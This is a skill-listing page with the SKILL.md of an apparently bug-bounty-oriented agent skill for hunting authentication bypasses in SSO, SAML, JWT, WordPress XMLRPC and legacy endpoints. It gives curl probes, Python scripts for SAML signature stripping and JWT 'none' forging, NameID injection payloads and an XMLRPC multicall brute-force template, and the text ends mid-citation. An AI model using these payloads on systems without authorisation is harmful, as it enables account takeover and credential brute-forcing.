Hunting skill for auth bypass vulnerabilities. An agent skill from elementalsouls/Claude-BugHunter.
Install Hunt Auth Bypass
$ npx skills add elementalsouls/Claude-BugHunter --skill hunt-auth-bypass -a claude-codeProject install by default; add -g for ~/.claude/skills/.
$ gh skill install elementalsouls/Claude-BugHunter hunt-auth-bypass --agent claude-codeProject scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).
$ git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/hunt-auth-bypass .claude/skills/hunt-auth-bypass && rm -rf skills-srcUse ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.
Claude Code skills documentation · loads skills from .claude/skills/
Install the "hunt-auth-bypass" agent skill from https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-auth-bypass into .claude/skills/hunt-auth-bypass/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-auth-bypass", then confirm the skill loads.Claude Code copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$skill-installer install https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-auth-bypassType this inside Codex. $skill-installer <name> installs a curated skill from openai/skills. The installer writes to $CODEX_HOME/skills (default ~/.codex/skills). Restart Codex if the skill does not show up.
$ npx skills add elementalsouls/Claude-BugHunter --skill hunt-auth-bypass -a codexProject install goes to .agents/skills/; add -g for ~/.codex/skills/.
$ gh skill install elementalsouls/Claude-BugHunter hunt-auth-bypass --agent codexProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git skills-src && mkdir -p .agents/skills && cp -r skills-src/skills/hunt-auth-bypass .agents/skills/hunt-auth-bypass && rm -rf skills-srcUse ~/.agents/skills/ instead of .agents/skills for a personal install.
Codex skills documentation · loads skills from .agents/skills/
Install the "hunt-auth-bypass" agent skill from https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-auth-bypass into .agents/skills/hunt-auth-bypass/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-auth-bypass", then confirm the skill loads.Codex copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add elementalsouls/Claude-BugHunter --skill hunt-auth-bypass -a cursorProject install goes to .agents/skills/; add -g for ~/.cursor/skills/.
$ gh skill install elementalsouls/Claude-BugHunter hunt-auth-bypass --agent cursorProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git skills-src && mkdir -p .cursor/skills && cp -r skills-src/skills/hunt-auth-bypass .cursor/skills/hunt-auth-bypass && rm -rf skills-srcUse ~/.cursor/skills/ instead of .cursor/skills for a personal install.
Cursor skills documentation · loads skills from .cursor/skills/, .agents/skills/, .claude/skills/, .codex/skills/
Install the "hunt-auth-bypass" agent skill from https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-auth-bypass into .cursor/skills/hunt-auth-bypass/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-auth-bypass", then confirm the skill loads.Cursor copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gemini skills install https://github.com/elementalsouls/Claude-BugHunter.git --path skills/hunt-auth-bypass--scope user (default) or --scope workspace; --path is the subfolder of the repo that holds the skill; --consent skips the security confirmation prompt.
$ npx skills add elementalsouls/Claude-BugHunter --skill hunt-auth-bypass -a gemini-cliProject install goes to .agents/skills/; add -g for ~/.gemini/skills/.
$ gh skill install elementalsouls/Claude-BugHunter hunt-auth-bypass --agent gemini-cliProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git skills-src && mkdir -p .gemini/skills && cp -r skills-src/skills/hunt-auth-bypass .gemini/skills/hunt-auth-bypass && rm -rf skills-srcUse ~/.gemini/skills/ instead of .gemini/skills for a personal install, then run /skills reload.
Gemini CLI skills documentation · loads skills from .gemini/skills/, .agents/skills/
Install the "hunt-auth-bypass" agent skill from https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-auth-bypass into .gemini/skills/hunt-auth-bypass/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-auth-bypass", then confirm the skill loads.Gemini CLI copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gh skill install elementalsouls/Claude-BugHunter hunt-auth-bypassInstalls for Copilot at project scope by default; add --scope user for a personal install. Preview a skill first with gh skill preview. Needs GitHub CLI 2.90.0 or later (public preview).
$ npx skills add elementalsouls/Claude-BugHunter --skill hunt-auth-bypass -a github-copilotProject install goes to .agents/skills/; add -g for ~/.copilot/skills/.
$ git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git skills-src && mkdir -p .github/skills && cp -r skills-src/skills/hunt-auth-bypass .github/skills/hunt-auth-bypass && rm -rf skills-srcUse ~/.copilot/skills/ instead of .github/skills for a personal install. Commit .github/skills so cloud agent and code review can use it.
GitHub Copilot skills documentation · loads skills from .github/skills/, .claude/skills/, .agents/skills/
Install the "hunt-auth-bypass" agent skill from https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-auth-bypass into .github/skills/hunt-auth-bypass/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-auth-bypass", then confirm the skill loads.GitHub Copilot copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add elementalsouls/Claude-BugHunter --skill hunt-auth-bypass -a opencodeOpenCode documents no install command of its own. Project install goes to .agents/skills/; add -g for ~/.config/opencode/skills/.
$ gh skill install elementalsouls/Claude-BugHunter hunt-auth-bypass --agent opencodeProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git skills-src && mkdir -p .opencode/skills && cp -r skills-src/skills/hunt-auth-bypass .opencode/skills/hunt-auth-bypass && rm -rf skills-srcUse ~/.config/opencode/skills/ instead of .opencode/skills for a personal install.
OpenCode skills documentation · loads skills from .opencode/skills/, .claude/skills/, .agents/skills/
Install the "hunt-auth-bypass" agent skill from https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-auth-bypass into .opencode/skills/hunt-auth-bypass/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-auth-bypass", then confirm the skill loads.OpenCode copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
Facts
- Skill name
hunt-auth-bypass- GitHub stars
- 4.8k
- Token cost
- ~8.2k tokens
- SKILL.md length
- 3,296 words
- Files
- 1
- Skills in repo
- 19
- Repo updated
- First seen
- Licence
- MIT
At a glance
Hunting skill for auth bypass vulnerabilities. An agent skill from elementalsouls/Claude-BugHunter.
- Works in 8 steps: Map all authentication entry points → Identify the auth mechanism per entry… → Test XMLRPC independently of SSO → …
- Hunting auth bypass — see the Legacy-Protocol Matrix for branded-UI vs legacy-endpoint patterns
- SKILL.md covers Crown Jewel Targets, Attack Surface Signals, Step-by-Step Hunting Methodology and Legacy-Protocol Matrix (Probe…, plus 9 more sections
- Calls curl
What it does
Hunt Auth Bypass is an agent skill from elementalsouls/Claude-BugHunter. Hunting skill for auth bypass vulnerabilities. Built from 12 public bug bounty reports across SAML XSW / parser-differential (GitHub Enterprise CVE-2025-25291/25292), SAML signature stripping (Uber, Rocket.Chat, samlify CVE-2025-47949), SAML domain enforcement bypass via control characters (HackerOne 2024), partner-portal cross-IdP assertion reuse (Slack), WordPress XMLRPC bypassing SSO (Uber), JWT alg-confusion HS256/RS256 (Jitsi), JWT signature-validation skip (Linktree, Newspack), and token-audience confusion…
Its SKILL.md is about 8.2k tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.
It sits in Security, covering Authentication, Bug bounty and Vulnerability scanning. It works with WordPress, Slack, Argo CD and GitHub. The repository describes itself as: A Claude Code skill bundle for bug hunting and external red-team work - 82 skills, 15 slash commands, 681 disclosed-report patterns curated across 24 core vulnerability classes… The licence is MIT.
When your agent uses it
- Hunting auth bypass — see the Legacy-Protocol Matrix for branded-UI vs legacy-endpoint patterns
- Tasks that involve Authentication
- Tasks that involve Bug bounty
Example prompts
- “/hunt-auth-bypass”
Requirements
- Python 3
Workflow steps
8 steps, taken from the first numbered list in SKILL.md.
- Map all authentication entry points
- Identify the auth mechanism per entry point
- Test XMLRPC independently of SSO
- Enumerate SAML implementation
- Test cross-portal session/token reuse
- Fuzz auth parameters
- Check redirect and state parameters
- Verify impact by escalating privileges
What it can do on your machine
Read from SKILL.md and the folder at commit ec51cd4. It shows what the files ask for, not the result of running them.
Tool permissions
Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.
From allowed-tools in the SKILL.md frontmatter.
Runs code
Shell commands in SKILL.md call:
curl
From the folder's file list and the shell code blocks in SKILL.md.
Network
Links to these hosts (documentation or services it may open):
hackerone.comdocs.duendesoftware.comgithub.blogprojectdiscovery.ioblog.intothesymmetry.comgithub.comnestenius.sesjoerdlangkemper.nl
From URLs in SKILL.md, links to its own repository left out.
Credentials
Names no API keys, tokens, secrets or passwords.
From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.
Context cost
Hunt Auth Bypass loads about 8.2k tokens when it runs. Until then it costs about 255 tokens; SKILL.md has 3,296 words of instructions outside code blocks.
Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.
Safety
The automated check found no risky patterns in SKILL.md.
Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.
SKILL.md
The full file from elementalsouls/Claude-BugHunter at commit ec51cd4, republished under its MIT licence (© elementalsouls). 3,296 words, ~8,165 tokens.
.claude/skills/hunt-auth-bypass/SKILL.md (or your agent's skills folder).- name
- hunt-auth-bypass
- description
- Hunting skill for auth bypass vulnerabilities. Built from 12 public bug bounty reports across SAML XSW / parser-differential (GitHub Enterprise CVE-2025-25291/25292), SAML signature stripping (Uber, Rocket.Chat, samlify CVE-2025-47949), SAML domain enforcement bypass via control characters (HackerOne 2024), partner-portal cross-IdP assertion reuse (Slack), WordPress XMLRPC bypassing SSO (Uber), JWT alg-confusion HS256/RS256 (Jitsi), JWT signature-validation skip (Linktree, Newspack), and token-audience confusion (Argo CD CVE-2023-22482). For standalone JWT signature/crypto forging (alg:none, key confusion, kid/jku) see hunt-jwt-crypto; this skill covers JWT only inside SSO/SAML/token-trust bypass chains. SAML assertion-layer attacks (XSW, comment injection, signature stripping, XXE-in-assertion) are owned by hunt-saml; this skill owns the broader cross-protocol auth-bypass taxonomy. Use when hunting auth bypass — see the Legacy-Protocol Matrix for branded-UI vs legacy-endpoint patterns.
- sources
- github, hackerone_public, github_security_lab, projectdiscovery_research
- report_count
- 12
Crown Jewel Targets
Auth bypass is consistently one of the highest-paying vulnerability classes in bug bounty because it directly violates the most fundamental security control. High-value targets include:
- SSO/SAML implementations at enterprise SaaS companies (Slack, Okta, OneLogin integrations) — payouts regularly in the $5K–$25K+ range
- Admin panels and partner/internal portals — subdomain-separated admin surfaces like
partners.shopify.com,admin.company.com - Third-party auth plugin integrations — WordPress plugins (OneLogin, WP-SAML-Auth), Drupal SSO modules, any CMS with pluggable auth
- XMLRPC endpoints on WordPress — often forgotten, bypasses standard WP auth flows entirely
- OAuth callback flows — state parameter mishandling, redirect_uri mismatches
- API authentication layers — especially where auth was bolted on after the fact
Asset priority: Targets with federated identity (SAML, OAuth, OIDC) connected to large user populations. Partner/reseller portals are particularly juicy because they often have elevated permissions and less security scrutiny than the main product.
SSH certificate-authority trust forgery (Git-hosting / enterprise platforms)
When an org or instance registers an SSH certificate authority, cert principals may not be bound server-side to the requesting identity — a member can mint a cert asserting another user's principal and authenticate as them (e.g. modify another user's resource given only its URL). Add SSH-CA trust to the auth-surface list on Git-hosting targets; niche/platform-specific. Disclosed: reports/1901040.
Attack Surface Signals
URL patterns to hunt:
/xmlrpc.php
/wp-login.php
/saml/
/sso/
/auth/saml/callback
/oauth/callback
/partners.*
/admin.*
/?wc-api=
/api/v*/auth
/login?redirect=
/accounts/loginResponse headers signaling SSO:
X-Frame-Options: SAMEORIGIN (common on SSO portals)
Set-Cookie: SAMLResponse=
Location: https://idp.company.com/saml
WWW-Authenticate: Bearer realm="partners"JS patterns indicating federated auth:
// Look for in page source
samlRequest
RelayState
SAMLResponse
onelogin
shibboleth
okta
passport.js authenticateTech stack signals:
- WordPress + any SSO plugin → check XMLRPC separately
- Shopify Partner API exposure → cross-tenant privilege escalation risk
- Any app advertising "SSO enabled" or "Login with [Enterprise IdP]"
- Separate subdomains for admin/partner that share session cookies with main domain
- Applications using
SimpleSAMLphp,ruby-saml,python-saml
Burp passive scan triggers:
SAMLResponsein any POST bodyopenid_connectorid_tokenin responses- Cookie domains set to
.company.com(wildcard)
Step-by-Step Hunting Methodology
Map all authentication entry points
- spider the target for every login surface: main login, admin login, API login, partner portal, mobile API endpoints
- check
robots.txt, JS files, and the wayback machine for forgotten endpoints like/xmlrpc.php
Identify the auth mechanism per entry point
- Is it forms-based, SAML, OAuth, API key, session token?
- For WordPress: always probe
/xmlrpc.phpeven if the main login is SSO-protected
Test XMLRPC independently of SSO
- If site uses SSO (e.g., OneLogin), manually POST to
/xmlrpc.php - XMLRPC uses WordPress-native credentials, not SSO — test with
system.listMethodsfirst, thenwp.getUsersBlogs
- If site uses SSO (e.g., OneLogin), manually POST to
Enumerate SAML implementation
- Capture a valid SAMLResponse via Burp
- Decode the Base64 payload, inspect the XML
- Test signature stripping, comment injection, and XML wrapping attacks
- Test if SP validates the signature at all (send unsigned assertion)
Test cross-portal session/token reuse
- Log into
partners.shopify.comtype portals - Attempt to use the issued token/cookie against the main admin portal
- Look for shared cookie domains, shared JWT secrets, or API tokens that work across contexts
- Log into
Fuzz auth parameters
- Null/empty passwords,
password[]=array, SQL in username field - Try
admin/admin,test/teston staging subdomains - Modify
role,is_admin,user_typein JWTs (none algorithm, weak secret)
- Null/empty passwords,
Check redirect and state parameters
- Does removing
statefrom OAuth break anything? - Can you change
redirect_urito an open redirect target? - Does the
RelayStatein SAML get validated?
- Does removing
Verify impact by escalating privileges
- Don't stop at login — prove you can access admin functions, other users' data, or sensitive configuration
- Screenshot the highest-privilege action you can perform
Legacy-Protocol Matrix (Probe These First on Any Custom-Branded Login)
When a target has a custom, branded login UI (e.g. customlogin.aspx, /auth/signin, /account/login), always probe the platform's legacy protocol endpoints with native credentials in parallel. These endpoints frequently outlive the custom UI's protections and accept native credentials with NO rate limit, NO MFA challenge, NO CAPTCHA, NO anti-automation. This is the WordPress XMLRPC pattern generalised across CMS / portal / framework stacks.
| Target tech | Legacy endpoint(s) to probe | Native-cred bypass surface |
|---|---|---|
| WordPress | /xmlrpc.php (system.listMethods, wp.getUsersBlogs, system.multicall) | Native WP user/pass; bypasses SSO, MFA, IP-allow rules on /wp-login.php |
| WordPress (REST) | /?rest_route=/wp/v2/users, /wp-json/wp/v2/users | User enumeration anonymously even when login page is hardened |
| SharePoint (any version) | /_vti_bin/Authentication.asmx (Mode + Login SOAP ops) | Native Forms-auth credential; FedAuth cookie returned; no rate limit on this endpoint observed on SP2013 farms — this is the canonical SP equivalent of the WP XMLRPC bypass |
| SharePoint legacy | /_vti_bin/_vti_aut/author.dll, /_vti_bin/_vti_adm/admin.dll, /_vti_bin/owssvr.dll | FrontPage RPC; sometimes still wired to credential validators |
| SharePoint REST | /_api/contextinfo (POST), /_api/$metadata | Anonymous FormDigest issuance; full API surface enumeration |
| Atlassian (Jira / Confluence) | /rest/auth/1/session (basic-auth), /rest/api/2/myself, legacy /rest/api/1.0/ | Native credentials accepted on /rest/auth/1/session even when Atlassian Crowd / Atlassian Access SSO is enforced on the UI |
| Drupal | /jsonapi/, /user/login?_format=json | JSON POST endpoint that accepts native passwords; separate from SSO middleware |
| Drupal (D7 legacy) | /?q=user/login, /services/, /rest/ | Older REST modules with independent auth |
| Joomla | /administrator/index.php?option=com_login, /api/index.php/v1/users | Native Joomla credentials accepted on admin entry independent of any front-site SSO |
| Exchange / OWA | /EWS/Exchange.asmx, /Autodiscover/Autodiscover.xml, /Microsoft-Server-ActiveSync | NTLM / Basic; bypasses OWA UI restrictions (MFA, IP-allow). The classic CVE-2020-0688 / CVE-2021-26855 surface |
| Citrix NetScaler | /vpn/index.html, /cgi/login, /nf/auth/doAuthentication.do | Native AD credentials; independent of MFA wrappers |
| F5 BIG-IP | /mgmt/tm/util/bash, /tmui/login.jsp | Native admin credentials |
| Generic ASP.NET app | *.asmx?WSDL, *.svc?WSDL, trace.axd, elmah.axd, .disco | Find every web service; many take credentials independently of the WebForms login |
| Spring Boot | /actuator/*, /management/*, /api/v1/auth/login, /api/v1/swagger-ui | Actuator endpoints sometimes anonymously enumerable |
| Jenkins | /jnlpJars/jenkins-cli.jar, /script, /manage, /computer/(master)/script | API tokens + native auth |
| GitLab | /api/v3/* (deprecated but still on old installs), /api/v4/users, /api/v4/projects | Personal Access Tokens with looser scoping than UI session |
| TeamCity | /app/rest/users, /login.html?username=&password= (GET-form-login) | Native admin credentials |
| Apache Tomcat | /manager/html, /host-manager/html, /manager/text/list | Native Tomcat realm credentials independent of any front auth |
| WebLogic | /console/login/LoginForm.jsp, /wls-wsat/* | Native admin |
| Oracle EBS / PeopleSoft | /OA_HTML/AppsLogin, /psp/*/?cmd=login | Native ERP credentials |
How to use:
- Identify the tech stack from headers + paths (use
hunt-miscAttack Surface Signals). - Find the row above that matches.
- Probe the legacy endpoint anonymously to confirm it's reachable and not 403/404.
- Test with synthetic credentials to confirm it accepts native credential format and returns differential responses (success vs failure).
- Verify there is no rate limit, no lockout, no CAPTCHA — burst 10 requests at the same user, confirm uniform timing.
- Report as Critical / High depending on chain to ATO: an anonymous + unlimited credential brute-force endpoint is consistently Critical on bug-bounty programs.
Lesson from a authorized engagement: A an enterprise dealer portal on SharePoint 2013 had a custom branded customlogin.aspx. The hunt-auth-bypass skill was loaded but the matrix above did not exist in this document — and the WordPress XMLRPC pattern was not connected to the SharePoint equivalent. /_vti_bin/Authentication.asmx was reachable anonymously, accepted unlimited credential attempts with no rate limit and no lockout, and was the highest-impact finding in the engagement. Walking this matrix on the first pass would have surfaced it immediately.
Payload & Detection Patterns
XMLRPC auth probe (bypasses SSO):
curl -s -X POST https://target.com/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>'
# If 200 with method list → XMLRPC is enabled, test auth:
curl -s -X POST https://target.com/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value><string>admin</string></value></param>
<param><value><string>password</string></value></param>
</params>
</methodCall>'SAML signature stripping (send unsigned assertion):
import base64, re
# Decode captured SAMLResponse
saml_b64 = "BASE64_FROM_BURP"
saml_xml = base64.b64decode(saml_b64).decode()
# Strip the Signature element entirely
stripped = re.sub(r'<ds:Signature.*?</ds:Signature>', '', saml_xml, flags=re.DOTALL)
# Re-encode and submit
print(base64.b64encode(stripped.encode()).decode())SAML XML comment injection (username confusion):
<!-- Original NameID -->
<NameID>attacker@evil.com</NameID>
<!-- Injected to confuse parser -->
<NameID>attacker@evil.com<!---->.victim@company.com</NameID>
<!-- Or namespace confusion -->
<NameID xmlns:evil="http://evil.com">victim@company.com</NameID>Partner/cross-portal token reuse test:
# Get token from partner portal
TOKEN=$(curl -s -X POST https://partners.target.com/login \
-d 'email=attacker@test.com&password=pass' \
-c cookies.txt | grep -o 'token=[^;]*')
# Replay against admin portal
curl -s https://admin.target.com/dashboard \
-H "Authorization: Bearer $TOKEN" \
-H "Cookie: $TOKEN"JWT none algorithm attack:
import base64, json
header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip('=')
payload = base64.b64encode(json.dumps({"user_id":1,"role":"admin","email":"victim@company.com"}).encode()).decode().rstrip('=')
token = f"{header}.{payload}."
print(token)Grep patterns for auth bypass surface:
# Find XMLRPC in scope
grep -r "xmlrpc" scope_urls.txt
# Find SSO indicators in JS
grep -rE "(SAMLResponse|samlRequest|RelayState|onelogin|shibboleth)" *.js
# Find partner/admin subdomains
subfinder -d target.com | grep -E "(admin|partner|internal|sso|auth|login)"Common Root Causes
SSO bypasses local auth entirely at the UI layer, but not at the API layer — developers disable the login form but forget that API endpoints (
/xmlrpc.php, REST API, mobile API) have their own auth handlers that still accept native credentials.SAML signature validation is skipped or optional — library defaults often don't enforce signature checking; developers use
wantAssertionsSigned: falseor fail to configure the IdP certificate correctly.Shared session infrastructure across different trust levels — partner portals and admin portals reuse the same session cookie or JWT secret because they're built on the same internal framework, assuming access control at the application layer is sufficient.
Trust inheritance in multi-tenant architectures — a token issued in a lower-privilege context (partner, reseller) is accepted in a higher-privilege context because the verification only checks signature validity, not the issuance context.
Plugin/module auth is independent of application auth — every WordPress plugin that handles auth (contact forms, REST API extensions, WooCommerce) may implement its own auth handler inconsistently with the main site's SSO.
XML parsing inconsistencies — different XML parsers (used by SP vs. IdP) handle comments, namespaces, and whitespace differently, enabling confusion attacks where the signed content differs from the evaluated content.
Bypass Techniques
| Defense | Bypass |
|---|---|
| SSO enforced on login page | Probe alternate entry points: XMLRPC, REST API, mobile API, legacy endpoints |
| SAML signature validation | XML comment injection, namespace wrapping, signature wrapping (XSW), remove signature entirely |
| IP allowlisting on admin portal | Use partner portal token if it shares auth backend |
| Rate limiting on login | XMLRPC allows credential stuffing via system.multicall — batches hundreds of auth attempts in one request |
| CSRF token on login form | SAML flow is POST-based cross-origin by design; no CSRF token needed on /saml/callback |
| JWT signature validation | alg: none, key confusion (RS256 → HS256 with public key as secret), brute-force weak secrets |
| Separate session stores per portal | Check if cookie domain is .target.com (wildcard) — cookie bleeds between subdomains |
| MFA on primary login | If SAML SP doesn't enforce MFA at the assertion level and accepts pre-auth assertions, MFA can be skipped |
XMLRPC multicall for mass auth bypass:
<methodCall>
<methodName>system.multicall</methodName>
<params><param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data></array></value></member>
</struct></value>
<!-- repeat for each credential pair -->
</data></array></value></param></params>
</methodCall>Gate 0 Validation
Before writing any report, answer these three questions:
What can the attacker DO right now? Must be: authenticate as another user OR authenticate without valid credentials OR elevate to admin/privileged role. "Partial information disclosure" is not auth bypass.
What does the victim LOSE? Must identify a concrete asset: account takeover of specific user, access to all admin functions, ability to read/modify other tenants' data, or access to privileged APIs. Abstract "security control bypass" without impact is not sufficient.
Can it be reproduced in 10 minutes from scratch? You must be able to: (a) start from a fresh browser/session, (b) follow your exact steps, and (c) arrive at authenticated access to a protected resource. If reproduction requires special preconditions you can't re-create (a specific victim's active session, timing windows), the report needs more work.
Real Impact Examples
Scenario 1 — SSO Enforcement Bypassed via Forgotten Protocol Endpoint
A large ride-sharing company enforced SSO (via OneLogin) on all WordPress-based internal/public properties. The XMLRPC endpoint (/xmlrpc.php) remained active and accepted WordPress-native credentials entirely independent of the SSO flow. An attacker with any valid WP-native credentials (obtained via credential stuffing or from a previous breach) could authenticate directly through XMLRPC, bypassing MFA, SSO policies, and IP restrictions enforced on the main login form. Impact: Full authenticated access to all WordPress functions available to that user role, including content management and potentially admin functions.
Scenario 2 — SAML Assertion Forgery via Signature Validation Failure
A major enterprise communication platform's SAML SP implementation failed to properly validate assertion signatures in specific edge cases. By manipulating the XML structure of a captured SAMLResponse (specifically through comment injection or namespace prefix attacks), an attacker could modify the NameID value to impersonate any user in an organization — including workspace administrators — without possessing that user's credentials or private key material. Impact: Complete account takeover of any user within a SAML-enabled organization; attacker gains access to all messages, files, and integrations in the workspace.
Scenario 3 — Cross-Portal Privilege Escalation via Shared Auth Backend An e-commerce platform's partner/reseller portal issued authentication tokens that were validated by the same backend service as the merchant admin portal. A partner-level account (lower trust, external-facing) could use its issued credentials or tokens to authenticate directly against admin-tier API endpoints, bypassing the merchant onboarding and permission assignment flow. Impact: A malicious partner could access any merchant's admin panel, modify store configurations, exfiltrate customer PII and payment data, or install malicious scripts — affecting thousands of merchant storefronts.
Show full SKILL.md (1,426 more words)Show less
Disclosed Report Citations (Backfill +8 — 2016-2025)
The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Spans 4 SAML subclasses, 4 JWT subclasses, 1 legacy-protocol (XMLRPC), and 2 partner-portal cross-domain reuse patterns.
GitHub Enterprise Server — SAML XSW via parser differential (CVE-2025-25291/25292) (H1 #2579939 · Blog)
- Subclass: SAML signature stripping / XSW (parser-differential variant)
- Payload: signed SAML response; inject a sibling
<Assertion>so REXML (signature-checker) and Nokogiri (business-logic reader) resolve different nodes via the same XPath. Signature validates against benign node; SP consumes attacker-controlled<NameID>admin@target</NameID> - Root cause: two XML parsers used for verification vs consumption return different elements for the same XPath
- Year: 2025 — GitHub Security Lab bounty (program max class, internally rated Critical)
GitHub Enterprise — SAML signature bypass on encrypted assertions (CVE-2024-4985) (H1 #2475347 · ProjectDiscovery advisory)
- Subclass: SAML signature stripping (XSW family) when encrypted-assertions feature enabled
- Payload: forge SAML response with attacker-controlled assertion; exploit improper signature verification on the encrypted-assertion code branch; provision arbitrary user including
site_admin - Root cause: improper cryptographic signature verification on the encrypted-assertion code branch
- Year: 2024 — bounty undisclosed, CVSS 10.0
Uber — SAML auth bypass on
uchat.uberinternal.com(H1 #223014)- Subclass: SAML signature stripping / improper assertion verification (OneLogin SP-side)
- Payload: replay/modify SAML assertion with forged
NameID; SP did not strictly validate signature scope, so attacker-controlled assertion accepted, granting OneLogin SSO session to internal chat - Root cause: improper SAML signature verification on SP implementation
- Year: 2017 — $8,500
Uber — OneLogin SSO bypass via WordPress XMLRPC (H1 #138869)
- Subclass: WordPress XMLRPC bypassing SSO (legacy-auth path not gated) — canonical Legacy-Protocol Matrix case
- Payload: OneLogin plugin auto-created WP users with literal password
@@@nopass@@@. SSO plugin blockedwp-login.phponly. POSTxmlrpc.phpwithwp.getUsersBlogs+ known shared password → authenticated as any previously-SSO'd user - Root cause: SSO enforcement applied at one auth surface (wp-login) but legacy XML-RPC path retained password auth with a guessable shared password
- Year: 2016 — $7,000
Slack — SAML "confused-deputy" assertion reuse (Writeup)
- Subclass: partner-portal / cross-IdP assertion reuse (audience-restriction not validated)
- Payload: take an old expired GitHub-signed SAML assertion (different audience, different subject) → present to Slack ACS → Slack logs attacker in as the asserted username
- Root cause: no audience-restriction nor freshness check; trust extended across IdPs
- Year: 2017 — $3,000
HackerOne — SAML signup domain enforcement bypass via control characters (H1 #2101076)
- Subclass: partner-portal / SAML domain-binding bypass via unicode control characters
- Payload: new user sign-up at SAML-enforced org; append trailing control character (e.g.,
\r,
